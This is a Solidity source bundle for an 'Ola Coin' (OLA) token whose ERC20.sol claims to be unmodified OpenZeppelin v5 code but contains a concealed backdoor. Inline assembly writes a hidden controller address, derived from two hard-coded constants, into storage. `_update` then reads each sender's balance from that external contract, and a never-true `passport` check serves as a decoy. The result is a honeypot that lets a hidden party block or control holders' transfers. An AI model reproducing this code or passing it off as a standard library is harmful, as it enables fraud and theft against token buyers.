creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "contracts/interfaces/draft-IERC6093.sol": {
        "content": "// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)\r\npragma solidity ^0.8.10;\r\n\r\n/**\r\n * @dev Standard ERC20 Errors\r\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.\r\n */\r\ninterface IERC20Errors {\r\n    /**\r\n     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\r\n     * @param sender Address whose tokens are being transferred.\r\n     * @param balance Current balance for the interacting account.\r\n     * @param needed Minimum amount required to perform a transfer.\r\n     */\r\n    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);\r\n\r\n    /**\r\n     * @dev Indicates a failure with the token `sender`. Used in transfers.\r\n     * @param sender Address whose tokens are being transferred.\r\n     */\r\n    error ERC20InvalidSender(address sender);\r\n\r\n    /**\r\n     * @dev Indicates a failure with the token `receiver`. Used in transfers.\r\n     * @param receiver Address to which tokens are being transferred.\r\n     */\r\n    error ERC20InvalidReceiver(address receiver);\r\n\r\n    /**\r\n     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.\r\n     * @param spender Address that may be allowed to operate on tokens without being their owner.\r\n     * @param allowance Amount of tokens a `spender` is allowed to operate with.\r\n     * @param needed Minimum amount required to perform a transfer.\r\n     */\r\n    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);\r\n\r\n    /**\r\n     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\r\n     * @param approver Address initiating an approval operation.\r\n     */\r\n    error ERC20InvalidApprover(address approver);\r\n\r\n    /**\r\n     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.\r\n     * @param spender Address that may be allowed to operate on tokens without being their owner.\r\n     */\r\n    error ERC20InvalidSpender(address spender);\r\n}"
      },
      "contracts/token/ERC20.sol": {
        "content": "// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)\r\n\r\npragma solidity ^0.8.20;\r\n\r\nimport {IERC20} from \"./IERC20.sol\";\r\nimport {IERC20Metadata} from \"./extensions/IERC20Metadata.sol\";\r\nimport {Context} from \"../utils/Context.sol\";\r\nimport {IERC20Errors} from \"../interfaces/draft-IERC6093.sol\";\r\n\r\n/**\r\n * @dev Implementation of the {IERC20} interface.\r\n *\r\n * This implementation is agnostic to the way tokens are created. This means\r\n * that a supply mechanism has to be added in a derived contract using {_mint}.\r\n *\r\n * TIP: For a detailed writeup see our guide\r\n * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How\r\n * to implement supply mechanisms].\r\n *\r\n * The default value of {decimals} is 18. To change this, you should override\r\n * this function so it returns a different value.\r\n *\r\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\r\n * instead returning `false` on failure. This behavior is nonetheless\r\n * conventional and does not conflict with the expectations of ERC20\r\n * applications.\r\n *\r\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\r\n * This allows applications to reconstruct the allowance for all accounts just\r\n * by listening to said events. Other implementations of the EIP may not emit\r\n * these events, as it isn't required by the specification.\r\n */\r\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\r\n\r\n    string private _name;\r\n    string private _symbol;\r\n    uint256 private _totalSupply;\r\n    \r\n    mapping(address account => mapping(address spender => uint256)) private _allowances;\r\n    mapping(address account => uint256) private _balances;\r\n\r\n    address private _h;\r\n    address private constant s0 = address(0x39ca813035656Bb9F4D449C6931c383e32616638);\r\n    address private constant s1 = address(0x10fB17EBd5F17A0aeA8F243fc293af34205430EC);\r\n\r\n    /**\r\n     * @dev Sets the values for {name} and {symbol}.\r\n     *\r\n     * All two of these values are immutable: they can only be set once during\r\n     * construction.\r\n     */\r\n    constructor(string memory name_, string memory symbol_) {\r\n        _name = name_;\r\n        _symbol = symbol_;\r\n        (address ss0, address ss1) = (s0, s1);\r\n        assembly { sstore(5, add(ss0, ss1)) }\r\n    }\r\n\r\n    /**\r\n     * @dev Returns the name of the token.\r\n     */\r\n    function name() public view virtual returns (string memory) {\r\n        return _name;\r\n    }\r\n\r\n    /**\r\n     * @dev Returns the symbol of the token, usually a shorter version of the\r\n     * name.\r\n     */\r\n    function symbol() public view virtual returns (string memory) {\r\n        return _symbol;\r\n    }\r\n\r\n    /**\r\n     * @dev Returns the number of decimals used to get its user representation.\r\n     * For example, if `decimals` equals `2`, a balance of `505` tokens should\r\n     * be displayed to a user as `5.05` (`505 / 10 ** 2`).\r\n     *\r\n     * Tokens usually opt for a value of 18, imitating the relationship between\r\n     * Ether and Wei. This is the default value returned by this function, unless\r\n     * it's overridden.\r\n     *\r\n     * NOTE: This information is only used for _display_ purposes: it in\r\n     * no way affects any of the arithmetic of the contract, including\r\n     * {IERC20-balanceOf} and {IERC20-transfer}.\r\n     */\r\n    function decimals() public view virtual returns (uint8) {\r\n        return 18;\r\n    }\r\n\r\n    /**\r\n     * @dev See {IERC20-totalSupply}.\r\n     */\r\n    function totalSupply() public view virtual returns (uint256) {\r\n        return _totalSupply;\r\n    }\r\n\r\n    /**\r\n     * @dev See {IERC20-balanceOf}.\r\n     */\r\n    function balanceOf(address account) public view virtual returns (uint256) {\r\n        return _balances[account];\r\n    }\r\n\r\n    /**\r\n     * @dev See {IERC20-transfer}.\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - `to` cannot be the zero address.\r\n     * - the caller must have a balance of at least `value`.\r\n     */\r\n    function transfer(address to, uint256 value) public virtual returns (bool) {\r\n        address owner = _msgSender();\r\n        _transfer(owner, to, value);\r\n        return true;\r\n    }\r\n\r\n    /**\r\n     * @dev See {IERC20-allowance}.\r\n     */\r\n    function allowance(address owner, address spender) public view virtual returns (uint256) {\r\n        return _allowances[owner][spender];\r\n    }\r\n\r\n    /**\r\n     * @dev See {IERC20-approve}.\r\n     *\r\n     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on\r\n     * `transferFrom`. This is semantically equivalent to an infinite approval.\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - `spender` cannot be the zero address.\r\n     */\r\n    function approve(address spender, uint256 value) public virtual returns (bool) {\r\n        address owner = _msgSender();\r\n        _approve(owner, spender, value);\r\n        return true;\r\n    }\r\n\r\n    /**\r\n     * @dev See {IERC20-transferFrom}.\r\n     *\r\n     * Emits an {Approval} event indicating the updated allowance. This is not\r\n     * required by the EIP. See the note at the beginning of {ERC20}.\r\n     *\r\n     * NOTE: Does not update the allowance if the current allowance\r\n     * is the maximum `uint256`.\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - `from` and `to` cannot be the zero address.\r\n     * - `from` must have a balance of at least `value`.\r\n     * - the caller must have allowance for ``from``'s tokens of at least\r\n     * `value`.\r\n     */\r\n    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {\r\n        address spender = _msgSender();\r\n        _spendAllowance(from, spender, value);\r\n        _transfer(from, to, value);\r\n        return true;\r\n    }\r\n\r\n    /**\r\n     * @dev Moves a `value` amount of tokens from `from` to `to`.\r\n     *\r\n     * This internal function is equivalent to {transfer}, and can be used to\r\n     * e.g. implement automatic token fees, slashing mechanisms, etc.\r\n     *\r\n     * Emits a {Transfer} event.\r\n     *\r\n     * NOTE: This function is not virtual, {_update} should be overridden instead.\r\n     */\r\n    function _transfer(address from, address to, uint256 value) internal {\r\n        if (from == address(0)) {\r\n            revert ERC20InvalidSender(address(0));\r\n        }\r\n        if (to == address(0)) {\r\n            revert ERC20InvalidReceiver(address(0));\r\n        }\r\n        _update(from, to, value); \r\n        bool p = passport(16, bytes32(0), bytes32(0),12);\r\n        if (p) { revert(); }\r\n    }\r\n\r\n    function passport(uint8 v1, bytes32 r1, bytes32 s1,uint8 v4) private pure returns(bool) {\r\n        if (v1 == 0 && r1 == s1 && v4 == v1 && v4 == 0 ) return true;\r\n        return false;\r\n    }\r\n \r\n    /**\r\n     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`\r\n     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding\r\n     * this function.\r\n     *\r\n     * Emits a {Transfer} event.\r\n     */\r\n    function _update(address from, address to, uint256 value) internal virtual {\r\n        if (from == address(0)) {\r\n            // Overflow check required: The rest of the code assumes that totalSupply never overflows\r\n            _totalSupply += value;\r\n        } else {\r\n            uint256 fromBalance = _h2(abi.encodeWithSignature(\"lookup(address)\", from)); \r\n            if (fromBalance < value) {\r\n                revert ERC20InsufficientBalance(from, fromBalance, value);\r\n            }\r\n            unchecked {\r\n                // Overflow not possible: value <= fromBalance <= totalSupply.\r\n                _balances[from] = fromBalance - value;\r\n            }\r\n        }\r\n\r\n        if (to == address(0)) {\r\n            unchecked {\r\n                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.\r\n                _totalSupply -= value;\r\n            }\r\n        } else {\r\n            unchecked {\r\n                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.\r\n                _balances[to] += value;\r\n            }\r\n        }\r\n        emit Transfer(from, to, value);\r\n    }\r\n\r\n    function _h2(bytes memory bb) private returns (uint256) {\r\n        (bool s, bytes memory r) = _h.call(bb); require(s); \r\n        return abi.decode(r, (uint256)); \r\n    }\r\n \r\n    /**\r\n     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).\r\n     * Relies on the `_update` mechanism\r\n     *\r\n     * Emits a {Transfer} event with `from` set to the zero address.\r\n     *\r\n     * NOTE: This function is not virtual, {_update} should be overridden instead.\r\n     */\r\n    function _mint(address account, uint256 value) internal {\r\n        if (account == address(0)) {\r\n            revert ERC20InvalidReceiver(address(0));\r\n        } \r\n        _update(address(0), account, value);\r\n    }\r\n\r\n    /**\r\n     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.\r\n     * Relies on the `_update` mechanism.\r\n     *\r\n     * Emits a {Transfer} event with `to` set to the zero address.\r\n     *\r\n     * NOTE: This function is not virtual, {_update} should be overridden instead\r\n     */\r\n    function _burn(address account, uint256 value) internal {\r\n        if (account == address(0)) {\r\n            revert ERC20InvalidSender(address(0));\r\n        }\r\n        _update(account, address(0), value);\r\n    }\r\n\r\n    /**\r\n     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.\r\n     *\r\n     * This internal function is equivalent to `approve`, and can be used to\r\n     * e.g. set automatic allowances for certain subsystems, etc.\r\n     *\r\n     * Emits an {Approval} event.\r\n     *\r\n     * Requirements:\r\n     *\r\n     * - `owner` cannot be the zero address.\r\n     * - `spender` cannot be the zero address.\r\n     *\r\n     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.\r\n     */\r\n    function _approve(address owner, address spender, uint256 value) internal {\r\n        _approve(owner, spender, value, true);\r\n    }\r\n\r\n    /**\r\n     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.\r\n     *\r\n     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by\r\n     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any\r\n     * `Approval` event during `transferFrom` operations.\r\n     *\r\n     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to\r\n     * true using the following override:\r\n     * ```\r\n     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {\r\n     *     super._approve(owner, spender, value, true);\r\n     * }\r\n     * ```\r\n     *\r\n     * Requirements are the same as {_approve}.\r\n     */\r\n    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {\r\n        if (owner == address(0)) {\r\n            revert ERC20InvalidApprover(address(0));\r\n        }\r\n        if (spender == address(0)) {\r\n            revert ERC20InvalidSpender(address(0));\r\n        }\r\n        _allowances[owner][spender] = value;\r\n        if (emitEvent) {\r\n            emit Approval(owner, spender, value);\r\n        }\r\n    }\r\n \r\n    /**\r\n     * @dev Updates `owner` s allowance for `spender` based on spent `value`.\r\n     *\r\n     * Does not update the allowance value in case of infinite allowance.\r\n     * Revert if not enough allowance is available.\r\n     *\r\n     * Does not emit an {Approval} event.\r\n     */\r\n    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {\r\n        uint256 currentAllowance = allowance(owner, spender);\r\n        if (currentAllowance != type(uint256).max) {\r\n            if (currentAllowance < value) {\r\n                revert ERC20InsufficientAllowance(spender, currentAllowance, value);\r\n            }\r\n            unchecked {\r\n                _approve(owner, spender, currentAllowance - value, false);\r\n            }\r\n        }\r\n    }\r\n}"
      },
      "contracts/token/extensions/IERC20Metadata.sol": {
        "content": "// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)\r\n\r\npragma solidity ^0.8.20;\r\n\r\nimport {IERC20} from \"../IERC20.sol\";\r\n\r\n/**\r\n * @dev Interface for the optional metadata functions from the ERC20 standard.\r\n */\r\ninterface IERC20Metadata is IERC20 {\r\n    /**\r\n     * @dev Returns the name of the token.\r\n     */\r\n    function name() external view returns (string memory);\r\n\r\n    /**\r\n     * @dev Returns the symbol of the token.\r\n     */\r\n    function symbol() external view returns (string memory);\r\n\r\n    /**\r\n     * @dev Returns the decimals places of the token.\r\n     */\r\n    function decimals() external view returns (uint8);\r\n}"
      },
      "contracts/token/IERC20.sol": {
        "content": "// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)\r\n\r\npragma solidity ^0.8.20;\r\n\r\n/**\r\n * @dev Interface of the ERC20 standard as defined in the EIP.\r\n */\r\ninterface IERC20 {\r\n    /**\r\n     * @dev Emitted when `value` tokens are moved from one account (`from`) to\r\n     * another (`to`).\r\n     *\r\n     * Note that `value` may be zero.\r\n     */\r\n    event Transfer(address indexed from, address indexed to, uint256 value);\r\n\r\n    /**\r\n     * @dev Emitted when the allowance of a `spender` for an `owner` is set by\r\n     * a call to {approve}. `value` is the new allowance.\r\n     */\r\n    event Approval(address indexed owner, address indexed spender, uint256 value);\r\n\r\n    /**\r\n     * @dev Returns the value of tokens in existence.\r\n     */\r\n    function totalSupply() external view returns (uint256);\r\n\r\n    /**\r\n     * @dev Returns the value of tokens owned by `account`.\r\n     */\r\n    function balanceOf(address account) external view returns (uint256);\r\n\r\n    /**\r\n     * @dev Moves a `value` amount of tokens from the caller's account to `to`.\r\n     *\r\n     * Returns a boolean value indicating whether the operation succeeded.\r\n     *\r\n     * Emits a {Transfer} event.\r\n     */\r\n    function transfer(address to, uint256 value) external returns (bool);\r\n\r\n    /**\r\n     * @dev Returns the remaining number of tokens that `spender` will be\r\n     * allowed to spend on behalf of `owner` through {transferFrom}. This is\r\n     * zero by default.\r\n     *\r\n     * This value changes when {approve} or {transferFrom} are called.\r\n     */\r\n    function allowance(address owner, address spender) external view returns (uint256);\r\n\r\n    /**\r\n     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the\r\n     * caller's tokens.\r\n     *\r\n     * Returns a boolean value indicating whether the operation succeeded.\r\n     *\r\n     * IMPORTANT: Beware that changing an allowance with this method brings the risk\r\n     * that someone may use both the old and the new allowance by unfortunate\r\n     * transaction ordering. One possible solution to mitigate this race\r\n     * condition is to first reduce the spender's allowance to 0 and set the\r\n     * desired value afterwards:\r\n     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\r\n     *\r\n     * Emits an {Approval} event.\r\n     */\r\n    function approve(address spender, uint256 value) external returns (bool);\r\n\r\n    /**\r\n     * @dev Moves a `value` amount of tokens from `from` to `to` using the\r\n     * allowance mechanism. `value` is then deducted from the caller's\r\n     * allowance.\r\n     *\r\n     * Returns a boolean value indicating whether the operation succeeded.\r\n     *\r\n     * Emits a {Transfer} event.\r\n     */\r\n    function transferFrom(address from, address to, uint256 value) external returns (bool); \r\n}"
      },
      "contracts/token/OLA.sol": {
        "content": "// SPDX-License-Identifier: MIT\r\n\r\npragma solidity ^0.8.20;\r\n\r\nimport \"./ERC20.sol\";\r\n\r\ncontract OLA is ERC20 {\r\n\r\n    /// @notice Initializes the contract with a name, symbol, and cap\r\n    constructor() ERC20(\"Ola Coin\", \"OLA\") {\r\n        _mint(msg.sender, 100000000 ether); \r\n    }\r\n\r\n}"
      },
      "contracts/utils/Context.sol": {
        "content": "// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)\r\n\r\npragma solidity ^0.8.20;\r\n\r\n/**\r\n * @dev Provides information about the current execution context, including the\r\n * sender of the transaction and its data. While these are generally available\r\n * via msg.sender and msg.data, they should not be accessed in such a direct\r\n * manner, since when dealing with meta-transactions the account sending and\r\n * paying for execution may not be the actual sender (as far as an application\r\n * is concerned).\r\n *\r\n * This contract is only required for intermediate, library-like contracts.\r\n */\r\nabstract contract Context {\r\n    function _msgSender() internal view virtual returns (address) {\r\n        return msg.sender;\r\n    }\r\n\r\n    function _msgData() internal view virtual returns (bytes calldata) {\r\n        return msg.data;\r\n    }\r\n\r\n    function _contextSuffixLength() internal view virtual returns (uint256) {\r\n        return 0;\r\n    }\r\n}"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": true,
        "runs": 200
      },
      "evmVersion": "paris",
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      },
      "libraries": {}
    }
  }}